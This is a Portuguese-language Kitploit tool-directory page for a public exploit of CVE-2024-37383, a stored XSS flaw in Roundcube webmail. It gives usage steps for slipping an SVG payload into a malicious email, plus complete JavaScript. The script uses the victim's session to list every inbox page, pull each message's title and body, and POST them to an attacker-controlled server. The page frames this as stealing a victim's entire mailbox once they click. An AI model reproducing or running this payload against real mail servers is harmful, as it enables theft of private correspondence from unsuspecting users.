Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37383-exploit — Exploit do servidor de e-mail Roundcube para CVE-2024-37383 (XSS armazenado) | Kitploit
Ferramentas/GitHubGitHub/amirzargham/cve-2024-37383-exploit
Ferramentas de PhishingGeração de PayloadsExploraçãoExploração de Aplicações WebExfiltração de DadosSegurança de Email
GitHubamirzargham/cve-2024-37383-exploit

CVE-2024-37383-exploit

Exploit do servidor de e-mail Roundcube para CVE-2024-37383 (XSS armazenado)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 1 anoAinda não revisado

Título do exploit: Exploit do servidor de e-mail Roundcube para CVE-2024-37383 (XSS armazenado)

Google Dork:

Autor do exploit: AmirZargham

Página inicial do fornecedor: Roundcube - Software de webmail gratuito e de código aberto

Link do software: Lançamentos · roundcube/roundcubemail

Versão: versão do cliente Roundcube anterior à 1.5.6 ou de 1.6 a 1.6.6.

Testado em: firefox,chrome

CVE: CVE-2024-37383

CWE: CWE-79

Plataforma: MÚLTIPLA

Tipo: WebApps

Descrição:

A vulnerabilidade CVE-2024-37383 foi descoberta no cliente de e-mail Roundcube Webmail. Esta é uma vulnerabilidade de XSS armazenado que permite a um atacante executar código JavaScript na página do usuário. Para explorar a vulnerabilidade, tudo o que o atacante precisa fazer é abrir um e-mail malicioso usando uma versão do cliente Roundcube anterior à 1.5.6 ou de 1.6 a 1.6.6.

Informações de uso:

1- abra o arquivo Roundcube_mail_server_exploit_for_CVE-2024-37383.js.

2- Altere o endereço web do e-mail original (alvo) e a URL do servidor receptor (servidor do atacante).

3- Você pode colocar o código na tag do arquivo SVG e enviá-lo ao servidor. (Recomenda-se configurar um servidor SMTP para enviar um e-mail malicioso)

root@kitploit:~
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4 -Depois que a vítima clicar, todos os e-mails da caixa de correio serão enviados para o seu servidor colaborador.

Este código automatiza o processo de recuperar todas as mensagens da caixa de entrada de um servidor Roundcube webmail e encaminhar esses dados para um endpoint específico do servidor colaborador.

Aqui está um detalhamento passo a passo:

1. Configuração das URLs:

A URL principal do webmail (target) e a URL do servidor receptor (attackerserver) são definidas como variáveis no início para facilitar a configuração.

2. Obter a contagem total de páginas:

A função getPageCount envia uma solicitação GET para a URL principal do webmail para obter metadados, incluindo o número total de páginas (pagecount). Se pagecount for encontrado, ela prossegue para percorrer cada página.

3. Buscar IDs de mensagens de todas as páginas:

Para cada página, de 1 a pagecount, ele constrói uma URL paginada para solicitar essa página. A resposta de cada página é verificada em busca de ocorrências de add_message_row(NUMBER) usando regex, extraindo os IDs de mensagem de cada ocorrência e coletando todos os IDs em uma única lista.

4. Recuperar o conteúdo de cada mensagem:

Para cada ID de mensagem, o código constrói uma URL para solicitar dados detalhados sobre essa mensagem. Ele envia uma solicitação GET para cada URL de ID de mensagem, recebendo o HTML completo da resposta.

5. Extrair e limpar os dados da mensagem:

Dentro de cada resposta de mensagem, ele usa regex para capturar o (título da mensagem) e o conteúdo principal da mensagem. Quaisquer tags HTML são removidas do conteúdo da mensagem para manter apenas o texto simples.

6. Enviar os dados para o servidor:

Para cada mensagem extraída, uma solicitação POST é feita ao endpoint do servidor com o título e o conteúdo limpo da mensagem, codificados em URL para transmissão adequada.

root@kitploit:~
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract <title> content using regex
                                                    let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);

Baixar ferramenta